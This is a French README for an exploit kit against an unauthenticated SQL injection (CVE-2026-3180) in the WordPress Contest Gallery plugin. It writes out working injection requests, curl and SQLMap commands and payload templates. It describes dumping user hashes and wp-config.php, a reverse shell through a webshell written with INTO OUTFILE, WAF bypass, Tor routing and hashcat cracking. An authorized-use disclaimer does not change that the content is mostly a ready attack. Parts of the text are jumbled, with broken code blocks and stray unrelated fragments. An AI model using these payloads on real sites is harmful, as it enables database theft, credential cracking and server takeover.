
Kit d'exploitation complet pour CVE-2026-3180 - vulnérabilité d'injection SQL dans WordPress Contest Gallery. Propose l'extraction automatisée des données, le bypass WAF, le reverse shell, l'intégration de SQLMap, la génération d'extension Burp, et la génération de rapports pour les tests d'intrusion et la recherche en sécurité.
Outil d'évaluation de preuve de concept pour CVE-2026-3180
Auteur : Sudeepa Wanigarathna · Découverte originale : cardosource
[!IMPORTANT] Utilisation autorisée uniquement. Cet outil est destiné à la recherche en sécurité, à l'éducation et aux tests sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
CVE-2026-3180 est une injection SQL aveugle non authentifiée de sévérité élevée dans l'extension WordPress Contest Gallery. La faille réside dans le gestionnaire AJAX post_cg1l_resend_unconfirmed_mail_frontend où le paramètre cgl_mail est passé à une requête SQL sans désinfection appropriée.
Ce dépôt fournit un PoC Python complet (v2.0) destiné aux professionnels de la sécurité autorisés pour valider l'impact, extraire les données WordPress, générer des rapports et s'intégrer avec les outils standard de l'industrie (SQLMap, Burp Suite, Nuclei).
| Champ | Valeur |
|---|
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: XX
action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=' OR 1=1-- -
``````http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend
&cgl_mail=qualquer'OR/**/1=1#@teste.com
&cgl_page_id=1
&cgl_activation_key=
&cg_nonce=%20
pipgit clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
### Dépendances
**Requis (exécution) :**```text
requests>=2.31.0
Recommandé (à partir de requirements.txt):```text colorama>=0.4.6 tqdm>=4.65.0 pyyaml>=6.0 python-dateutil>=2.8.2 urllib3>=2.0.0
> L'exploit principal utilise uniquement la bibliothèque standard Python ainsi que `requests`. Des paquets supplémentaires améliorent la sortie et les rapports.
---
## Démarrage rapide
> Remplacez `http://target.example` par une cible **de laboratoire ou autorisée** uniquement.
### Vérifier la vulnérabilité```bash
python3 cve-2026-3180.py http://target.example --scan
python3 cve-2026-3180.py http://target.example
### Extraire les utilisateurs WordPress```bash
python3 cve-2026-3180.py http://target.example --dump users
python3 cve-2026-3180.py http://target.example --sql-shell
### Générer un rapport HTML```bash
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
---
## Guide d'utilisation
### Analyse de vulnérabilités uniquement```bash
python3 cve-2026-3180.py http://target.example --scan
Effectue une détection booléenne, temporelle et par erreur sans extraction complète.
python3 cve-2026-3180.py http://target.example --dump all
Extrait les informations de la base de données, les utilisateurs, les options, les plugins, les thèmes, les articles, les tables et les métadonnées système.
### Dumps sélectifs```bash
python3 cve-2026-3180.py http://target.example --dump database
python3 cve-2026-3180.py http://target.example --dump users
python3 cve-2026-3180.py http://target.example --dump config
python3 cve-2026-3180.py http://target.example --dump options
python3 cve-2026-3180.py http://target.example --dump plugins
python3 cve-2026-3180.py http://target.example --dump themes
python3 cve-2026-3180.py http://target.example --sql-shell
* **Détection d'outils d'obfuscation de scripts dans le HTML**
* Les outils d'obfuscation de scripts comme [obfuscator.io](https://github.com/cerberusmrxi/wp-contest-gallery-28.1.4-exploit/blob/main/obfuscator.io) ou [javascript-obfuscator](https://github.com/cerberusmrxi/wp-contest-gallery-28.1.4-exploit/blob/main/javascript-obfuscator) obscurcissent un script JS complet ou une partie de celui-ci.
* Cela conduit à des scripts JS contenant une fonction principale appelée `_0x` et un argument de décalage `_0x88fx`.
* *Vous trouverez un fichier d'exemple placé dans scans/*.*```text
sql> SELECT DATABASE()
wordpress
sql> show users
[
{
"username": "admin",
"email": "[email protected]",
"password_hash": "$P$B..."
}
]
sql> show tables
["wp_users", "wp_posts", "wp_options", ...]
sql> exit
Shell commands:
python3 cve-2026-3180.py http://target.example --report json
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
### Reverse shell (laboratoire autorisé uniquement)```bash
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
Nécessite le privilège
FILE, un webroot accessible en écriture, et quesecure_file_privne bloque pas le chemin cible.
python3 cve-2026-3180.py http://target.example --sqlmap
Ou utilisez le script d'automatisation fourni :```bash
chmod +x sqlmap_automation.sh
./sqlmap_automation.sh http://target.example
python3 cve-2026-3180.py http://target.example --burp-extension
### Nuclei template```bash
python3 cve-2026-3180.py http://target.example --nuclei-template
# Scan with generated template
nuclei -u http://target.example -t CVE-2026-3180.yaml
chmod +x cve-2026-3180_automated.sh ./cve-2026-3180_automated.sh http://target.example
### Routage Tor```bash
# Ensure Tor is running on 127.0.0.1:9050
python3 cve-2026-3180.py http://target.example --proxy tor
python3 cve-2026-3180.py http://target.example
--threads 20
--timeout 15
--delay 0.1
--retries 5
-v
---
## Référence des commandes
### Arguments positionnels
| Argument | Description |
|---|---|
| `target` | URL de base WordPress cible (ex. `http://target.example`) |
### Options réseau
| Argument | Défaut | Description |
|---|---|---|
| `--proxy` | — | URL du proxy ou `tor` pour SOCKS5 via Tor |
| `--timeout` | `10` | Délai d'expiration des requêtes HTTP (secondes) |
| `--delay` | `0.05` | Délai entre les requêtes (secondes) |
| `--retries` | `3` | Nombre de tentatives en cas d'échec |
| `--threads`, `-t` | `5` | Taille du pool de threads |
### Options de sortie
| Argument | Description |
|---|---|
| `--verbose`, `-v` | Activer la journalisation de débogage |
| `--quiet` | Supprimer la sortie console |
| `--output`, `-o` | Chemin personnalisé du fichier de sortie |
### Modes
| Argument | Description |
|---|---|
| *(par défaut)* | Exploitation complète : détection → scan → extraction de tout |
| `--scan` | Détection de vulnérabilité uniquement |
| `--sql-shell` | Shell SQL interactif |
| `--dump {users,config,database,options,plugins,themes,all}` | Extraire des données spécifiques |
| `--report {json,html}` | Générer un rapport d'évaluation |
| `--reverse-shell LHOST LPORT` | Tenter un reverse shell via écriture de fichier |
| `--sqlmap` | Afficher la commande SQLMap |
| `--burp-extension` | Générer une extension Burp Suite |
| `--nuclei-template` | Générer un modèle YAML Nuclei |
---
## Techniques d'injection
L'outil teste et utilise automatiquement plusieurs stratégies d'injection :
| Type | Méthode de détection | Cas d'utilisation |
|---|---|---|
| **Booléen** | Différentiel de longueur de réponse (`1=1` vs `1=2`) | Moteur d'extraction principal |
| **Temporel** | Inférence par délai `SLEEP()` | Repli lorsque les signaux booléens sont faibles |
| **Basé sur les erreurs** | Chaînes d'erreur `EXTRACTVALUE()` / SQL | Métadonnées rapides lorsque les erreurs fuient |
| **Union** | Charges utiles `UNION SELECT` | Récupération directe de valeurs (lorsque applicable) |
| **Requêtes empilées** | Syntaxe `'; ... #` | Exécution multi-instructions (rare) |
### Modèles de charge utile
Le `PayloadManager` alterne entre plus de 12 modèles d'injection :```text
'OR/**/{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR/**/{condition}OR/**/'1'='1'#
'UNION/**/SELECT{condition}#
...
LENGTH() du résultat de la requête cibleASCII(SUBSTRING(...)) par position de caractèreTechniques d'obfuscation intégrées appliquées aléatoirement ou à la demande :
Exemple de charge utile transformée :
`UNION//SELECT//1,2,3````text qualquer'OR//1=1#@teste.com → qualquer'%2F%2FOR%2F**%2F1%3D1%23%40teste.com
---
## Extraction de données
### Cibles d'extraction
| Cible | Source SQL | Clé de sortie |
|---|---|---|
| Nom de la base de données | `SELECT DATABASE()` | `database.name` |
| Version de la base de données | `SELECT VERSION()` | `database.version` |
| Utilisateur de la base de données | `SELECT USER()` | `database.user` |
| Tables | `information_schema.TABLES` | `tables[]` |
| Colonnes | `information_schema.COLUMNS` | `columns{}` |
| Utilisateurs WP | `wp_users` | `users[]` |
| Hachages de mots de passe | `wp_users.user_pass` | `users[].password_hash` |
| Emails | `wp_users.user_email` | `users[].email` |
| Rôles | `wp_usermeta` capabilities | `users[].roles` |
| Options du site | `wp_options` | `options{}` |
| Plugins actifs | `wp_options.active_plugins` | `plugins[]` |
| Thèmes | `template` / `stylesheet` options | `themes[]` |
| Articles | `wp_posts` | `posts[]` |
| wp-config.php | `LOAD_FILE('/var/www/html/wp-config.php')` | `config` |
| Informations système | `@@hostname`, `@@datadir`, etc. | `system_info{}` |
### Forme de l'objet utilisateur extrait```json
{
"username": "admin",
"password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"email": "[email protected]",
"roles": ["administrator"]
}
Après extraction, craquez les hachages phpass de WordPress avec Hashcat :```bash
python3 cve-2026-3180.py http://target.example --dump users -o users.json
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
---
## Intégrations
### SQLMap
Commande générée (via `--sqlmap`):```bash
sqlmap -u "http://target.example/wp-admin/admin-ajax.php" \
--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-p cgl_mail \
--dbms=mysql \
--level=3 --risk=2 \
--batch \
--threads=5 \
--time-sec=5 \
--retries=3 \
--delay=0.05 \
--random-agent \
--hex \
--tamper=space2comment,randomcase,between,charencode \
--dbs
burp_contest_gallery.py dans Extender → Extensions → Addid: CVE-2026-3180 info: name: WordPress Contest Gallery SQL Injection severity: high classification: cve-id: CVE-2026-3180 cvss-score: 7.5
requests:
### Metasploit```bash
# Copy module to Metasploit
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
# Run
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
flowchart TD A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"] B --> C{"Injection type?"} C -->|Boolean| D["Response length inference"] C -->|Time| E["SLEEP delay inference"] C -->|Error| F["SQL error leakage"] D --> G["Binary-search extraction"] E --> G F --> G G --> H["WordPress data exfiltration"] H --> I["Users / hashes / options / config"] I --> J["Optional: OUTFILE webshell"]
### Résumé technique
1. **Point d'entrée** — action AJAX `post_cg1l_resend_unconfirmed_mail_frontend` dans le plugin Contest Gallery.
2. **Point de chute** — valeur `cgl_mail` concaténée dans une requête SQL sans paramétrage.
3. **Exploitation** — Inférence booléenne aveugle pour extraire les données caractère par caractère.
4. **Impact** — Accès complet en lecture à la base de données WordPress ; possibilité d'écriture de fichier si les privilèges MySQL le permettent.
---
## Sortie et Rapports
### Sortie console```text
[*] Target: http://target.example
[*] Checking vulnerability...
[+] Target is VULNERABLE! (Boolean-based)
[+] Response length difference: 42 chars
[*] Extracting database information...
[+] name: wordpress
[+] version: 8.0.35
[+] Found 3 users
[+] Exploitation complete!
{ "metadata": { "cve": "CVE-2026-3180", "cvss_score": "7.5 (High)", "type": "boolean_based" }, "target": { "url": "http://target.example", "ajax_url": "http://target.example/wp-admin/admin-ajax.php" }, "vulnerability": { "vulnerable": true, "type": "boolean_based" }, "extracted_data": { "database": { "name": "wordpress", "version": "8.0.35" }, "users": [], "tables": [], "plugins": [], "options": {} }, "summary": { "users_found": 3, "tables_found": 12, "plugins_found": 8, "config_extracted": false } }
Les rapports sont enregistrés dans `reports/` par défaut.
---
## Docker```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt cve-2026-3180.py ./
RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"]
CMD ["--help"]
src/backend/pcap_processor.py src/backend/report_generator.py src/backend/api_server.py src/backend/config.yaml```bash
docker build -t cve-2026-3180 .
docker run --rm cve-2026-3180 http://target.example --scan
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180
http://target.example --report json
---
## Intégration CI/CD
Exemple de workflow GitHub Actions pour des scans de staging autorisés :```yaml
name: CVE-2026-3180 Staging Scan
on:
workflow_dispatch:
schedule:
- cron: '0 2 * * 1'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
python3 cve-2026-3180.py http://target.example --scan -v
python3 cve-2026-3180.py http://target.example
--proxy http://127.0.0.1:8080 -v --scan
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php"
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
-w "\nSize: %{size_download}\n"
## Disposition du dépôt```text
exploit/
├── cve-2026-3180.py # Main exploit tool (v2.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── burp_contest_gallery.py # Standalone Burp Suite extension
├── contest_gallery_sqli.rb # Metasploit auxiliary module
├── cve-2026-3180_automated.sh # Bash/curl automation script
├── sqlmap_automation.sh # SQLMap wrapper script
├── reports/ # Generated reports (created at runtime)
├── backups/ # Database backups (created at runtime)
├── payloads/ # Custom payload storage
└── venv/ # Local virtualenv (optional, not committed)
INTO OUTFILECe projet est fourni tel quel pour la recherche en sécurité défensive et les tests de pénétration autorisés.
En utilisant ce logiciel, vous acceptez que :
Si vous découvrez cette vulnérabilité en production, suivez les pratiques de divulgation responsable et coordonnez-vous avec le vendeur du plugin / l’équipe de sécurité WordPress, le cas échéant.
| Rôle | Nom |
|---|---|
| Auteur de l’outil | Sudeepa Wanigarathna |
| Découverte originale | cardosource |
| CVE | CVE-2026-3180 |
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
---
## Support
- Mettez une étoile au dépôt s'il vous aide dans vos recherches
- Ouvrez des issues pour les bugs, les faux positifs ou les améliorations de détection
- Les pull requests sont les bienvenues pour la documentation, les techniques de contournement WAF et l'UX des laboratoires autorisés
---
<div align="center">
**Pour tests de sécurité autorisés uniquement.**
</div>
| Attribut | Valeur |
|---|
| Identifiant CVE | CVE-2026-3180 |
| CVSS | 7.5 (Élevé) |
| Vecteur d'attaque | Réseau — non authentifié |
| Impact | Violation de confidentialité, lecture de base de données, vol d'identifiants |
| Produit affecté | Extension WordPress Contest Gallery |
| Versions affectées | 28.1.4 et antérieures |
| Type de vulnérabilité | Injection SQL aveugle |
| SGBD | MySQL / MariaDB |
| URL | /wp-admin/admin-ajax.php |
| Méthode | POST |
| Action | post_cg1l_resend_unconfirmed_mail_frontend |
| Paramètre vulnérable | cgl_mail |
| Capacité | Description |
|---|
| Détection de vulnérabilités | Tests de requêtes booléennes, temporelles, basées sur les erreurs, UNION et empilées |
| Extraction aveugle | Extraction de caractères par recherche binaire via inférence booléenne |
| Export complet des données | Utilisateurs, métadonnées de base de données, options, plugins, thèmes, articles, tables |
| Shell SQL interactif | Exécuter des requêtes SELECT arbitraires sur le backend |
| Extraction de wp-config.php | Tentatives de LOAD_FILE() sur les chemins courants |
| Reverse shell | Écriture de webshell PHP via INTO OUTFILE / DUMPFILE (lorsque autorisé) |
| Capacité | Description |
|---|
| Contournement WAF | 15+ techniques d'encodage et d'obfuscation |
| Multithreading | Threads de travail configurables pour une extraction plus rapide |
| Limitation de débit | Délai configurable entre les requêtes |
| Logique de réessai | Réessais automatiques en cas d'échecs transitoires |
| Rotation des User-Agent | Empreintes de navigateur aléatoires par requête |
| Support proxy | Proxies HTTP/SOCKS et Tor (socks5h://127.0.0.1:9050) |
| Capacité | Description |
|---|
| Génération de rapports | Rapports JSON et HTML avec résumés d'extraction |
| Intégration SQLMap | Commande SQLMap générée automatiquement avec des tampers |
| Extension Burp Suite | Générateur + script autonome burp_contest_gallery.py |
| Modèle Nuclei | Modèle YAML pour la détection de masse |
| Module Metasploit | Module auxiliaire Ruby (contest_gallery_sqli.rb) |
| Automatisation shell | Scripts Bash pour les workflows basés sur curl et SQLMap |
| Capacité | Description |
|---|
| Sortie CLI colorée | Journalisation structurée avec niveaux de sévérité |
| Suivi de progression | Métriques en temps réel (requêtes, timing, vitesse d'extraction) |
| Modes silencieux / verbeux | Adapté au scripting et au débogage |
| Gestion des signaux | Nettoyage gracieux sur Ctrl+C |
| Prêt pour Docker | Support de déploiement conteneurisé |
| Prêt pour pipeline CI/CD | Codes de sortie et sortie JSON pour l'automatisation |
| Outil | Objectif |
|---|
| SQLMap | Injection SQL automatisée |
| Burp Suite | Tests manuels et hébergement d'extension |
| Nuclei | Scan basé sur des modèles |
| Hashcat | Craquage de hash hors ligne |
| Tor | Routage anonyme (--proxy tor) |
| Commande | Description |
|---|
SELECT ... | Exécuter une requête SQL et afficher le résultat |
show users | Afficher les utilisateurs extraits en cache |
show tables | Afficher la liste des tables en cache |
show database | Afficher les métadonnées de la base de données en cache |
show config | Afficher wp-config.php si extrait |
show options | Afficher les options WordPress |
show plugins | Afficher les plugins actifs |
help | Lister les commandes disponibles |
exit / quit | Quitter le shell |
| Technique | Description |
|---|
comment_obfuscation | Remplace les espaces par /**/, /*!*/, -- , # |
case_variation | Mélange aléatoire de minuscules/majuscules dans les caractères alphabétiques |
url_encoding | Encodage standard en pourcentage |
double_url_encoding | Encodage en pourcentage imbriqué |
hex_encoding | Encodage hexadécimal de type %41 |
unicode_encoding | Encodage Unicode de type %u0041 |
white_space_variation | Tabulations, sauts de ligne, sauts de page au lieu d'espaces |
keyword_obfuscation | Fractionnement des mots-clés : SEL/**/ECT, UNI/**/ION |
concat_obfuscation | Concaténation via CHAR() avec || |
char_obfuscation | Addition via CHAR() avec + |
| Symptôme | Action recommandée |
|---|
| Cible non vulnérable | Confirmer que Contest Gallery ≤ 28.1.4 est installé et actif |
| Pas de différence de longueur de réponse | Essayer --scan pour le repli basé sur le temps ; augmenter --timeout |
| Extraction très lente | Augmenter --threads ; réduire --delay avec prudence |
| Erreurs de connexion | Augmenter --timeout et --retries ; vérifier les paramètres du proxy |
| Le WAF bloque les requêtes | Utiliser --proxy tor ; l'outil applique automatiquement des techniques de contournement |
| Échec du proxy Tor | Vérifier Tor sur 127.0.0.1:9050 ; installer requests[socks] si nécessaire |
| Dump d'utilisateurs vide | Le préfixe de table n'est peut-être pas wp_ ; utiliser --sql-shell avec des requêtes personnalisées |
| wp-config introuvable | Essayer --sql-shell avec d'autres chemins LOAD_FILE() |
| Échec du reverse shell | Vérifier le privilège FILE, secure_file_priv, les permissions de la racine web |
| Licence |
| MIT |